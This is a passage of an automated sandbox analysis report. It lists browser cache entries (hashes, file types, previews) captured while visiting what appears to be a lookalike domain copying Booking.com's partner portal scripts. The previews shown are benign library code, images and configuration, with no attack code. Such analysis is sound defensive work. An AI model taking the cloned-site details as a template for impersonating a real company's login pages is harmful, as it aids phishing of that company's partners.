MD5:	5108630A28C33DB946A8A930BBFFE101
SHA1:	8EBAE28E01A72F2E8FCF135FDB429796726D2B8F
SHA-256:	3A0312B1E140EBA693176309680D7AAC868BD52CF4130549633A4B044E8EFC5C
SHA-512:	833DFDA5BFD5EAEA25B8065B23E2D7D6BC92FEA368833F38335017649B50FB56890865D59B5C1926457FE1E286853D382345D7D9E063BF7385729020D6163950
Malicious:	false
Reputation:	low
URL:	https://hotel-id637438.eu/static/699_7dd9fbc7ebf53c180dfd.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE
Preview:	"use strict";(self.webpackChunkbookings_web_accounts_portal_workspaces=self.webpackChunkbookings_web_accounts_portal_workspaces\|\|[]).push([[699],{52435:function(t,n,e){var r,o,i,s,u,a,f,c,l;function p(t){return p="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},p(t)}e(70489),e(95853),e(64509),e(20341),e(17482),e(7849),e(78604),e(68305),function(t,n){if(!n.jstmpl){var e,r,o,i,s,u,a,f,c,l,p,h,g,_,v,m,d,y,b,T,E,S,w,A,L,M,j=[];i=function(t,n){this.closure=t,this.name=n},s=function(t){var n=[];return c(n,t,0),1===n.length?n[0]:n.join("")},a=function(t,n,e){return/^[0-9]+$/.test(t)?t:""===t?null:(M("Attempting to use non-numeric value '"+t+"' for translation tag '"+e+"'"),0)},M=function(r,o){r=r\|\|"BHCJS runtime issue",n&&n.env&&n.env.b_dev_server?(o&&console.warn("Template: "+o),console.error(r)):e.error_out&&t.onerror&&t.onerror("JSTMPL:: "

Chrome Cache Entry: 365

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	dropped
Size (bytes):	5090
Entropy (8bit):	7.945443201813718
Encrypted:	false
SSDEEP:	96:er6inwIrNDvfVM2bnkn8g7euiBC9tR9rPQZHhxS9Vnsql:xD6NzVRbnkn8eej0X9sZi9v
MD5:	4D4C9CBD7492504AF0556ECA1019C7F9
SHA1:	D3FA95D7ED8BA40112FA9DF44C6124F017BB6D5E
SHA-256:	EC5D142C155F83112547BB80C28BFD1452D84AEEAE11CF37E26C46F4B832768B
SHA-512:	E4D78A24C835EC3CA5D604D8D55C0AF27988C0CA31F913B7E77A2EAB569C9AB5FD861546FA6DC3710A0E510A67EE9A46795A942989BFE974986AA5F3C5C1BC27
Malicious:	false
Reputation:	low
Preview:	RIFF....WEBPVP8X...........]..ALPHR......l....q........Y...$.....H.m.&r.[6=.En..=Kz.5...{..,.....,2..?t.9s..G...............X......E....../.=ta\|..".......O?.....vD.&(..b..N.SC....Eqa...48.....Ppf.Y..l........P.x.......B...L.%...H{.]m.3...a..X1...&.....Ed._...q.02....\.%.?.{!...6.y........m(.[P....y...y..2.1.~E..S.Wx`...v.2=......G..Km.lZ.y...).?.......(..@.L.zJ.m..O.....d.T..w.P...d_.1.Ff..!......L.\.v.^.H...tN..k.!.....2I`7..f...j\|.ug...#$@.;9...;......J...]Z'....K....-....I.d.xZ?..K..........{....-......ff.-.=....E.S/..XGH....\|>#<V.\!O.....D..$..B!....R^8.....wLq.........M....l?.e.8..A`......,..{...<x.&.E.r.<...cxc....../..z._.d..e.H..;.....@:]...r..o..=..v.,}?r..Se.b..z}.g.........V...s.t.........U?.y..A,V8oe%...Kq.W...?.Q.6F....v.GN..r..z....V..}.......e..G.(...+....6..SKbE..7(..@..Z.E..=q.]..N?......_,7....W.A._.x.;S.....~J......u..6..yl.,......'...^C.[..A..s.Vn...XY9...s.....W...bl......r.........@j4.;......JVh?:?..L..$..b..T.

Chrome Cache Entry: 366

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65334)
Category:	downloaded
Size (bytes):	134344
Entropy (8bit):	5.521560429448561
Encrypted:	false
SSDEEP:	1536:JaboR8KyBL3WNC3i806X8/OU0tNo455wjd0mV2KjO+XMQOtdBDFTcitjuYfvEAeZ:Jh63i8xXEOU03o4PwjRSBZTLqZ
MD5:	28A474CD1C649AC1EBE884650D0B2C2A
SHA1:	7E2D7DAAAC030D59F197F80ED5E81E93DA970766
SHA-256:	5448841ABACF4A9AC8E491C8F08F38309DDA5B111BA7CC1DCE840D8511473974
SHA-512:	0734B423001E28F522DDE3515196264243DCB9CF6435B3094805F57710605337A71523CED58A210ECF2CCD42C287385B0347688821AE7636677415A5384DDE39
Malicious:	false
Reputation:	low
URL:	https://hotel-id637438.eu/static/876_ae71aefc2f960c9d4720.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE
Preview:	/! For license information please see 876_ae71aefc2f960c9d4720.js.LICENSE.txt /.(self.webpackChunkbookings_web_accounts_portal_workspaces=self.webpackChunkbookings_web_accounts_portal_workspaces\|\|[]).push([[876],{49158:function(d,t,e){"use strict";var r=e(96540);t.A=function(){return r.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 128 128"},r.createElement("path",{d:"M56.33 102a6 6 0 0 1-4.24-1.75L19.27 67.54A6.014 6.014 0 1 1 27.74 59l27.94 27.88 44-58.49a6 6 0 1 1 9.58 7.22l-48.17 64a6 6 0 0 1-4.34 2.39z"}))}},64525:function(d,t,e){"use strict";var r=e(96540);t.A=function(){return r.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},r.createElement("path",{d:"M19.5 16.5v5.25a.75.75 0 0 1-.75.75H5.25a.75.75 0 0 1-.75-.75v-10.5a.75.75 0 0 1 .75-.75h13.5a.75.75 0 0 1 .75.75zm1.5 0v-5.25A2.25 2.25 0 0 0 18.75 9H5.25A2.25 2.25 0 0 0 3 11.25v10.5A2.25 2.25 0 0 0 5.25 24h13.5A2.25 2.25 0 0 0 21 21.75zM7.5 9.75V6a4.5 4.5 0 0 1 9 0v3.75a.75.7

Chrome Cache Entry: 367

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (24543), with NEL line terminators
Category:	downloaded
Size (bytes):	42648
Entropy (8bit):	5.4126784139628725
Encrypted:	false
SSDEEP:	768:ygqzBoFk74AORchXLwMtwdtftHcPMfbfrPhf:ynuFk7fEt8y
MD5:	FCB334F8C6A7C8D6D31E8F5DBD36E605
SHA1:	257B47E3BC2D1AA5B06A691C4FEBE9410736D0DF
SHA-256:	294D7ED0FE93F484B2B8E371F20C083B51239243CCF60DCC24091B3EEAAFC15F
SHA-512:	40D52D82E246E7C59B1F312D38C98A84BE0BB3189AF219434E2C29B09C1DCB288203C941EB795F587369C893B9A10715D921F991D1449A57856AA8196858C1DF
Malicious:	false
Reputation:	low
URL:	https://hotel-id637438.eu/static/842_b7cfe71a24f37e243c53.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE
Preview:	(self.webpackChunkbookings_web_accounts_portal_workspaces=self.webpackChunkbookings_web_accounts_portal_workspaces\|\|[]).push([[842],{63387:function(t){t.exports=function(t){if("function"!=typeof t)throw TypeError(t+" is not a function!");return t}},88184:function(t,r,n){var e=n(67574)("unscopables"),o=Array.prototype;null==o[e]&&n(33341)(o,e,{}),t.exports=function(t){o[e][t]=!0}},28828:function(t,r,n){"use strict";var e=n(91212)(!0);t.exports=function(t,r,n){return r+(n?e(t,r).length:1)}},16440:function(t){t.exports=function(t,r,n,e){if(!(t instanceof r)\|\|void 0!==e&&e in t)throw TypeError(n+": incorrect invocation!");return t}},4228:function(t,r,n){var e=n(43305);t.exports=function(t){if(!e(t))throw TypeError(t+" is not an object!");return t}},61464:function(t,r,n){var e=n(57221),o=n(81485),i=n(70157);t.exports=function(t){return function(r,n,u){var c,s=e(r),a=o(s.length),f=i(u,a);if(t&&n!=n){for(;a>f;)if((c=s[f++])!=c)return!0}else for(;a>f;f++)if((t\|\|f in s)&&s[f]===n)return t\|\|f\|\|0

Chrome Cache Entry: 368

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	dropped
Size (bytes):	6486
Entropy (8bit):	7.9606235092276325
Encrypted:	false
SSDEEP:	192:bJlTeN0hSOa6rGewnqK2QDT2NEfvdGeQni/rET:wbEGewqK3LHLQi/rg
MD5:	43CD6CDBC89384C35F285208A43C7DF8
SHA1:	EC956C6BCC273F331CBC9D40D95842BBC25BABC3
SHA-256:	BC664928CBF6A472B5FC17D33256CCBA232B5EC78F938129794FB55347754D1C
SHA-512:	E9FCBCB4F78704B728C3653CC54FC3D54444E0AF76536AEF6006D9C3966DF315A56D73A882AC569AA950FEF583F163BFFEE0525EF566190921CCFB45743E38D5
Malicious:	false
Reputation:	low
Preview:	RIFFN...WEBPVP8X...........V..ALPH.......l....L..B.#..&E..R.I.......^...a..!=Z..c.H....1..cL."4c.0B.#..b29.h.1.1.W~G.......j^/.w.o4..I~...Q{..1..%.s..G..3L......+..6L{...,?u.....o..O.ev...%.l..].^.r.1s3L.n..s....6......'.k.U...K..Y....M3..0...Y-'.mo...W3.8...F..Ji..{ziA.S......:....._..~.N.O.B.\|....=l..\=:2...<..9.y.9c.....1k..o..N.m\|.([........?.{?2...@..@....E.....z.J!..K..Y@.<.s.).....>&.c...0Y.g..K.Y../..F. U.K..+l.....[.\|.?I...1U....K..[_.:$...R...v..s..<c.d.#\.bl4.YC...<..>..).....%m..]`....T......`.K6...k...%.l&.{....{.]..D..F.2.5..<.4...gh~9...m.....O..r.....=.P...........'......".v.4..H....9D.{....\|....45.<O=..>.p..c.BI..Y].yYK.Z.....W.;.......Mc.X,.n...Q.^......<A..A...zP.....{<.)..E.c4....O.....I..{.M.Gs....]>.z...Y.hG..l..D......4..?7;...Hp....GDL...)....kml....&..;+U.4.......X.]%...h.`u.H....qp..+ZAr..n.....j..4..\|..7s......U.Sh:.!.;..O....U.~.Q.x..ZKf.@.z.v.9.)1RS.:....P..M+.)...5v.X.R...,.*..S.8#..\s..z)...C.

Chrome Cache Entry: 369

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	troff or preprocessor input, ASCII text, with very long lines (14445)
Category:	downloaded
Size (bytes):	26807
Entropy (8bit):	5.057139501978337
Encrypted:	false
SSDEEP:	384:+qRSuvyAHpoNJAucRlqW/zJvzxfOJlW6GdWZEP2JJ4SAtZ5eeQgte:QAAi/zlzIJlW6GdWZEP2JJfeQB
MD5:	C5407CF892E45285BE01847749C11B6C
SHA1:	56F7C38868DE6656D36B255FD3A6D0F88893065D
SHA-256:	260551F7501A16977F98E55AEC11B1B66F47D0724F98CA376C447E1C74F7DF72
SHA-512:	C5598818E86A97164FB13CAC2F9E793C114B7BC055D2245005854C7C96B542425B7167CA21295764C5E1072CFDFA3E008D732D55B795FE7FCC5599F235F2BB27
Malicious:	false
Reputation:	low
URL:	https://partner.booking.com/sites/default/files/css/css_sUtND6IDwL1bFz0ypkAvBmuD5qhU9jBHfp4FZtLC4fw.css?delta=0&language=en-us&theme=booking&include=eJxdUQFuwyAM_BCEJ1UOuMGrgxE26bLXj7Rrs01CFj5zNneGlEyg7AF-LtO1STGXwIBhxxZmzLCRNHUMX3s4gtNdDdcwg6KbRW5UljB38lH1f-6twYbM2DzTks1bxvVkLSwz8B_Sx9kjisQbYW3irxK7-gwljVbne4g3bzJOdfhpTOUWUusVePpJnRoYqVHUV-VEhqRdul0SaZQN2x6kYBR2FRosDWp-k05k6qX2mUkzJrcR3jU84rRK6oxP6ELlSoUMLxqbMD-f-Bfqn6hrYBh62WRAGbkOaQ_oPmzq66y9vqVCjNISSfEG8-i0Dle2YWWxv54f_X2UtQ4pv2ua5e6BT68jtCZdkb3hWGTzb4luTMKX8NSkzt1MirsyLOEI0-HsBT7g81ykrf4o-cg0dvJ_Uf0YoLQUGv8XYaPqhvX34Q9Cizk8Ev9M3qyMkA7eA_0GR0kJJQ
Preview:	/* @license GNU-GPL-2.0-or-later https://www.drupal.org/licensing/faq */..ajax-progress{display:inline-block;padding:1px 5px 2px 5px;}[dir="rtl"] .ajax-progress{float:right;}.ajax-progress-throbber .throbber{display:inline;padding:1px 6px 2px;background:transparent url(/core/misc/throbber-active.gif) no-repeat 0 center;}.ajax-progress-throbber .message{display:inline;padding:1px 5px 2px;}tr .ajax-progress-throbber .throbber{margin:0 2px;}.ajax-progress-bar{width:16em;}.ajax-progress-fullscreen{position:fixed;z-index:1261;top:48.5%;left:49%;width:24px;height:24px;padding:4px;opacity:0.9;border-radius:7px;background-color:#232323;background-image:url(/core/misc/loading-small.gif);background-repeat:no-repeat;background-position:center center;}[dir="rtl"] .ajax-progress-fullscreen{right:49%;left:auto;}..text-align-left{text-align:left;}.text-align-right{text-align:right;}.text-align-center{text-align:center;}.text-align-justify{text-align:justify;}.align-left{float:left;}.align-right{float

Chrome Cache Entry: 370

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (24543), with NEL line terminators
Category:	downloaded
Size (bytes):	42648
Entropy (8bit):	5.4126784139628725
Encrypted:	false
SSDEEP:	768:ygqzBoFk74AORchXLwMtwdtftHcPMfbfrPhf:ynuFk7fEt8y
MD5:	FCB334F8C6A7C8D6D31E8F5DBD36E605
SHA1:	257B47E3BC2D1AA5B06A691C4FEBE9410736D0DF
SHA-256:	294D7ED0FE93F484B2B8E371F20C083B51239243CCF60DCC24091B3EEAAFC15F
SHA-512:	40D52D82E246E7C59B1F312D38C98A84BE0BB3189AF219434E2C29B09C1DCB288203C941EB795F587369C893B9A10715D921F991D1449A57856AA8196858C1DF
Malicious:	false
Reputation:	low
URL:	https://cf.bstatic.com/psb/accountsportal/assets/842_b7cfe71a24f37e243c53.js
Preview:	(self.webpackChunkbookings_web_accounts_portal_workspaces=self.webpackChunkbookings_web_accounts_portal_workspaces\|\|[]).push([[842],{63387:function(t){t.exports=function(t){if("function"!=typeof t)throw TypeError(t+" is not a function!");return t}},88184:function(t,r,n){var e=n(67574)("unscopables"),o=Array.prototype;null==o[e]&&n(33341)(o,e,{}),t.exports=function(t){o[e][t]=!0}},28828:function(t,r,n){"use strict";var e=n(91212)(!0);t.exports=function(t,r,n){return r+(n?e(t,r).length:1)}},16440:function(t){t.exports=function(t,r,n,e){if(!(t instanceof r)\|\|void 0!==e&&e in t)throw TypeError(n+": incorrect invocation!");return t}},4228:function(t,r,n){var e=n(43305);t.exports=function(t){if(!e(t))throw TypeError(t+" is not an object!");return t}},61464:function(t,r,n){var e=n(57221),o=n(81485),i=n(70157);t.exports=function(t){return function(r,n,u){var c,s=e(r),a=o(s.length),f=i(u,a);if(t&&n!=n){for(;a>f;)if((c=s[f++])!=c)return!0}else for(;a>f;f++)if((t\|\|f in s)&&s[f]===n)return t\|\|f\|\|0

Chrome Cache Entry: 371

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	dropped
Size (bytes):	5610
Entropy (8bit):	7.953964082832294
Encrypted:	false
SSDEEP:	96:lu8n3XukE5k51SjHL3HxK5zikiC3Bi92+XoO0bDniSo5qMEReFDvkXlSnNpUWKV/:/n3XHYkPSjr3Ho5zik/i97Xobb6Qe5Sz
MD5:	33517A9D145886E0C9D2265AD7D3D50B
SHA1:	878B4139B014E1BD8C4088B264B8656FADFEA194
SHA-256:	312D70EB66D45D5A673B734059138702508ADAD086F1CFC32050737271EB8158
SHA-512:	9042D0081B76E2D7471C9FD2ACF96DA2BC42330065532024C6F170BFACAB382FAB02273D4B2FF734331701F27C6247AC7166F60881F3824A7F6AB061486C56DB
Malicious:	false
Reputation:	low
Preview:	RIFF....WEBPVP8X...........h..ALPH......G.......=..1..cDEDDDE.........u.k.s.k..>.}......T=.}_..Y..WUTTTUUT...Mf...y..."b...z..e...J+.z1d....e....V.1.....I.=W)..5..On1.......#TI.'...%.....fN.e{.....F....V.1..)I\|D.l.9o..;..P........f.}g.7....9jc(8VMGD.$....dNWL...M.....T.Z......a.7.._.f._...R.p.......i...m.> ..U.....hE+.......2.K..hf..}.Z=2 ..d..%.]....A$b...V.'T............&.\|.pA=...)z.... .....r...B...Dy[pf...M....D.R...d.7Q..7)/q..y.....&...O..\|-y.... 5.n.E..k..2...QYFy.z..E.$.S..(....e.7...s('=.3...Z...].......-J#Q@..".+z.[.V.`.....;&..Gf.\.....o..)%....f.Cg......pZ.HU..@.p...U:..\|2..e{...`.x..xq......l....b.C.b.(.AjV.y.h...w,...<o..Z...5...@8....:.VD.........@.....S.C... .}.\|ty...1..@..m[..c0\.apl,.2...+.C.JN..$....v..r.Z.....1fm//..1_...\N....\..K.Q.MT}j..^.9......bz,..MT....3.J!.y..xY....{..L.g.(..C.JF..R=\..>......./.f.X2.......dw.2.Ed....9.\u..DRTE$..P....t.*....u+\.Q.....#.L..<.8......f...j..6RR..R.6....8...`,4w.......Z..@...3.....mf..

Chrome Cache Entry: 372

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (593), with no line terminators
Category:	downloaded
Size (bytes):	593
Entropy (8bit):	4.948058860327425
Encrypted:	false
SSDEEP:	12:AEdS+NfFdBMeWEeXNOXIN6ACuHnom/7ojLL/7Gk12XC1ItYDRWCKb:3p/BMeHedOXImuHotHl2XC1FRWV
MD5:	12AB1AC1481363CDFCBC0C7E94404E1A
SHA1:	768615190923505659B686D6A036D5071738F9B6
SHA-256:	C900A864B1D5AADEF7184740F11B3B5F4CAA1AC6A407D7EA59A741A259E01FC4
SHA-512:	1B856332153E98C8ACC49DDC6258D669D47416F4E281B2D6EA6FE5BD15B765F9832BE3C68D227DF60A295C698F5865DE823C42ACFECC5B67D766862FC48DDE60
Malicious:	false
Reputation:	low
URL:	https://www.bstatic.com/libs/privacy-consent/1.0.0/partner/cookie-banner.min.js
Preview:	function OptanonWrapper(){}function getDomainUUID(){var t=document.querySelector("script[src*='privacy-consent']");if(t&&t.hasAttribute("data-domain-script"))return t.getAttribute("data-domain-script").trim()}!function(){var t=getDomainUUID(),e=document.createElement("script");e.type="text/javascript",e.setAttribute("async","true"),e.setAttribute("src","https://cdn.cookielaw.org/scripttemplates/otSDKStub.js"),e.setAttribute("charset","UTF-8"),e.setAttribute("data-document-language","true"),e.setAttribute("data-domain-script",t),document.getElementsByTagName("head")[0].appendChild(e)}();

Chrome Cache Entry: 373

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64779)
Category:	downloaded
Size (bytes):	75875
Entropy (8bit):	5.317944953321773
Encrypted:	false
SSDEEP:	768:4kNzOpKAiSHlkMRfuScNANA2Az+Mz4asRM5pm/7mIabfbtGds+HbZ/fBMZMdZM9w:4GzLS2gdcNANA2Az3Dj+HbZ/f0OL4/4T
MD5:	BA3156E72FD699924DA8D038F124F55E
SHA1:	195AF12BCE23541D35C029F0CB94C74D5148126D
SHA-256:	369A904E6A2A6CB6FEF3E935C723DEAD810C01AA74FF7771983A06E5F3CF8F39
SHA-512:	CFF0C6F8E48B5CAC9AB3F4E2913D472714FB8CDAF5EC17BD0B9CC98663505F97054D4F9EC65F47EE530A7379A838E324784EECFC8EA4909F2B8C4E7E41F25A49
Malicious:	false
Reputation:	low
URL:	https://siteintercept.qualtrics.com/dxjsmodule/12.f83656fbc6c9f02061b2.chunk.js?Q_CLIENTVERSION=2.10.0&Q_CLIENTTYPE=web&Q_BRANDID=partner.booking.com
Preview:	./@preserve.Version 2.10.0./../@license. Copyright 2002 - 2018 Qualtrics, LLC.. * All rights reserved.. . Notice: All code, text, concepts, and other information herein (collectively, the. * "Materials") are the sole property of Qualtrics, LLC, except to the extent. * otherwise indicated. The Materials are proprietary to Qualtrics and are protected. * under all applicable laws, including copyright, patent (as applicable), trade. * secret, and contract law. Disclosure or reproduction of any Materials is strictly. * prohibited without the express prior written consent of an authorized signatory. * of Qualtrics. For disclosure requests, please contact notice@qualtrics.com.. */..try {. (window["WAFQualtricsWebpackJsonP-cloud-2.10.0"]=window["WAFQualtricsWebpackJsonP-cloud-2.10.0"]\|\|[]).push([[12],{19:function(e,t,n){"use strict";n.d(t,"a",(function(){return i})),n.d(t,"e",(function(){return r})),n.d(t,"d",(function(){retur

Chrome Cache Entry: 374

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1162 x 500, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	20667
Entropy (8bit):	7.949440126561056
Encrypted:	false
SSDEEP:	384:D+sdhF/TeFL89wWsd3LvuVP5bSTDT5moJ9RIGc5:bdhF/TiVWsJL2N5bSTxmoJVc5
MD5:	802645034B7481D72B2B1730D2094140
SHA1:	EDF8713C24684C67CB202B2AFD09BE705483F848
SHA-256:	CE2AE43110A777A47DE39091BF990E8B786D99413CCC40D43CD31C172D040E94
SHA-512:	538EFB61A001513362E86DEAD54B265EC521E9F00A8821F6D34553C00D30AB0143A3F7E54437B85732CD3E0F378337D9187C8A28E67B22BBF3D9524A52EF3940
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............e.6.....PLTEGpL...TD<...LA:...........s..;^zRa_=N`MQGknc.s_..q..........s[.8?................vF+#"fL@.a1t6.C$.&..]6..S$..............{..v..cy.Sf{5BL25;WV[.pf........-K................t..`.Q=aM>.lO.D.V%.6......ZB.fP..s..x.{rOP/........s_P.u..................v}..a.\|A.b>O=7>6+.......q...$..S.vY...qtz......!!.uT.......y.q........................j[..........._M.....\|k"(p?).O2mgi,'...e.........N.-..sO/;&.......l...B........6........s.....................s_.mY............`>...F/ ..\|.o34>/]_`B@A.+-.z.p....n....F8.......aQ.Y.u.#?...HCB.^\|.{..........D}..!.36........6{...gu....[{........a.......2U@2...uX.`D.....Y;......................jbZS....#7...\|}<..kP.O6%.............j..0b............J..X..Mc"0d.k....T..gu'7N..x*..%$.......tRNS.....<.....................z:.........j[.................Q....................V....#X........@.\|....%...........p......1..U.^......................................

Chrome Cache Entry: 375

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	22385
Entropy (8bit):	5.042007236244927
Encrypted:	false
SSDEEP:	384:ova/efAkTyS2KODJopO5iprJ1lNjlOCmtAdvNJ:ovPfAkTfOadlJ1lNjlO7tAdvD
MD5:	C810E9B7CB48D30FDDD3F3B81476941F
SHA1:	7CB3B733AC2ACB1347F4A27E0C4CF5A3BDD9BF83
SHA-256:	F3603464E821014EB8C95D21A982CB1DA0D902F2D0F023AEF34A77A1B9CE25BA
SHA-512:	F7EB35C2273DFBCAC12EBA49594A3147420CCBD85884D2A469AD73276660DEC40B9ED84A2ADCDD71A06DD03F0E3BC6EF484BCD34A23CCD28CC991F9BF9CB4A89
Malicious:	false
Reputation:	low
Preview:	{"style": {"color_chatbubble_text": "#fff", "color_chat_log_elements": "#333333", "color_button_background": "#006CE4", "color_button_outline": "#0069ff", "color_bubble_button_background": "#003B95", "color_button_text": "#FFF", "color_background": "#ffffff", "color_header_background": "#003B95", "color_header_text": "#ffffff", "color_input_background": "#edeeef", "color_input_text": "#333333", "color_user_message_background": "#003B95", "color_user_message_text_color": "#ffffff", "color_bot_message_background": "#f5f5f5", "color_global_icons_button_background": "#ffffff", "color_bot_message_text_color": "#2c2c2c", "color_panel_background": "#ffffff", "color_secondary_button_background": "#ffffff", "chatbubble_icon_avatar_image": null}, "notifications": {"tab_notification": true, "sound_notification": true, "bubble_notification": true, "use_push_greetings": true, "push_greetings": [{"enabled": {"en": true}, "title": {"en": "Help pages (EN-US)"}, "url": "https://partner.booking.com/en-u

Chrome Cache Entry: 376

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	https://partner.booking.com/themes/custom/booking/images/1px.gif
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 377

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (799)
Category:	downloaded
Size (bytes):	3662
Entropy (8bit):	5.4767781783171126
Encrypted:	false
SSDEEP:	96:/Z5gixsZq4LjbAadjbb3kb5Cq1Kypp1EqTewM04Q:/rR2E4LoadzFgT1EqTz
MD5:	2C3950F122B3977DF61B0E077AAA92C8
SHA1:	7BBC3B129BB0F1320C6ECB67688DDC8F78EF6574
SHA-256:	6082597F3871C77C9B31AA1383577F8C0E54CB5FF09275DC817BC70D96E6217D
SHA-512:	0651EAD9C0FF20B42C8A9380A9EBBACA9291C3D00F061C08E9D9B1E33D923D40BA10EAB11DFEDD4544DAD1F9716D6D76DB3DFFE7FDC744C643F75D7BD08F53FD
Malicious:	false
Reputation:	low
URL:	https://xx.bstatic.com/libs/acc-clientlib/v5/clientlib.js
Preview:	(function(){.var g=this\|\|self;function z(){return"undefined"===typeof Date.now?(new Date).getTime():Date.now()}function N(E){this.L=E;16==this.L?(this.v=268435456,this.C=4026531839):(this.v=78364164096,this.C=2742745743359)}function l(E){return(Math.floor(Math.random()*E.C)+E.v).toString(E.L)};function T(E){this.C=E}T.prototype.supported=function(){return void 0!=window.localStorage};T.prototype.get=function(){return window.localStorage.getItem(this.C)};T.prototype.set=function(E){return window.localStorage.setItem(this.C,E)};T.prototype.set=T.prototype.set;function Z(){var E=z(),Y=new N(16);Y=l(Y)+l(Y)+l(Y)+l(Y);return[0,0,E,E,Y].join(":")}function J(){var E=new T("ed73f20edbf2b73");if(!E.supported())return null;E=E.get();if(null===E)return null;var Y=E.split("_");2===Y.length&&(E=Y[0]);return"0:"+E}.function v(){var E=J();if(null===E)if(E=new T("ed73f20edbf2b74"),E.supported()){var Y=E.get();null===Y&&(Y=Z());var u=E.set;var S=Y.split(":");if(5!=S.length)S=Y;else{var t=parseInt(S[1],

Chrome Cache Entry: 378

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65362)
Category:	downloaded
Size (bytes):	147452
Entropy (8bit):	5.278640994442029
Encrypted:	false
SSDEEP:	1536:YRUX9uDgwxcy2KVBNwchN6SLaHEk2BSrBESp+a/IEk4aAocVi8SMBQ47GKAIpg2L:4HNwcv9VBQpLl88SMBQ47GKzjbWykWJR
MD5:	6ECDCBFC2743150B907283C1861D19EE
SHA1:	81760F9CD668F1D6E7FA12F8FFB9AFC77F528B68
SHA-256:	77C4DB8DDBD2F57F9DD1ACFCB74ED71C891FF39ADFBDD2902958B457A63FC9A3
SHA-512:	608D34FEF2E2162E3BDEB6FB435612577DD2D565C6D44F105AE7977093689A2820B831DA1DEF0ADFB23398F2A14A4A80EF9EF53A9DACA1EECFA21D6A7C2E9AE9
Malicious:	false
Reputation:	low
URL:	https://partner.booking.com/sites/default/files/js/js_XgRhdDPWb33RcpJhPMJZtlmn458nD-GlhUL5Ud4J8h4.js?scope=footer&delta=0&language=en-us&theme=booking&include=eJxdUQFuwyAM_BCEJ1UOuMGrgxE26bLXj7Rrs01CFj5zNneGlEyg7AF-LtO1STGXwIBhxxZmzLCRNHUMX3s4gtNdDdcwg6KbRW5UljB38lH1f-6twYbM2DzTks1bxvVkLSwz8B_Sx9kjisQbYW3irxK7-gwljVbne4g3bzJOdfhpTOUWUusVePpJnRoYqVHUV-VEhqRdul0SaZQN2x6kYBR2FRosDWp-k05k6qX2mUkzJrcR3jU84rRK6oxP6ELlSoUMLxqbMD-f-Bfqn6hrYBh62WRAGbkOaQ_oPmzq66y9vqVCjNISSfEG8-i0Dle2YWWxv54f_X2UtQ4pv2ua5e6BT68jtCZdkb3hWGTzb4luTMKX8NSkzt1MirsyLOEI0-HsBT7g81ykrf4o-cg0dvJ_Uf0YoLQUGv8XYaPqhvX34Q9Cizk8Ev9M3qyMkA7eA_0GR0kJJQ
Preview:	/* @license MIT https://raw.githubusercontent.com/jquery/jquery/3.7.1/LICENSE.txt /./! jQuery v3.7.1 \| (c) OpenJS Foundation and other contributors \| jquery.org/license */.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(ie,e){"use strict";var oe=[],r=Object.getPrototypeOf,ae=oe.slice,g=oe.flat?function(e){return oe.flat.call(e)}:function(e){return oe.concat.apply([],e)},s=oe.push,se=oe.indexOf,n={},i=n.toString,ue=n.hasOwnProperty,o=ue.toString,a=o.call(Object),le={},v=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},y=function(e){return null!=e&&e===e.window},C=ie.document,u={type:!0,src:!0,nonce:!0,noModule:!0};function m(e,t,n){var r,i,o=(n=n\|\|C).createElement("script");if(o.text=e,t)for(r in u)(i=t[r]\|\|t.getAttri

Chrome Cache Entry: 379

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 25328, version 1.0
Category:	downloaded
Size (bytes):	25328
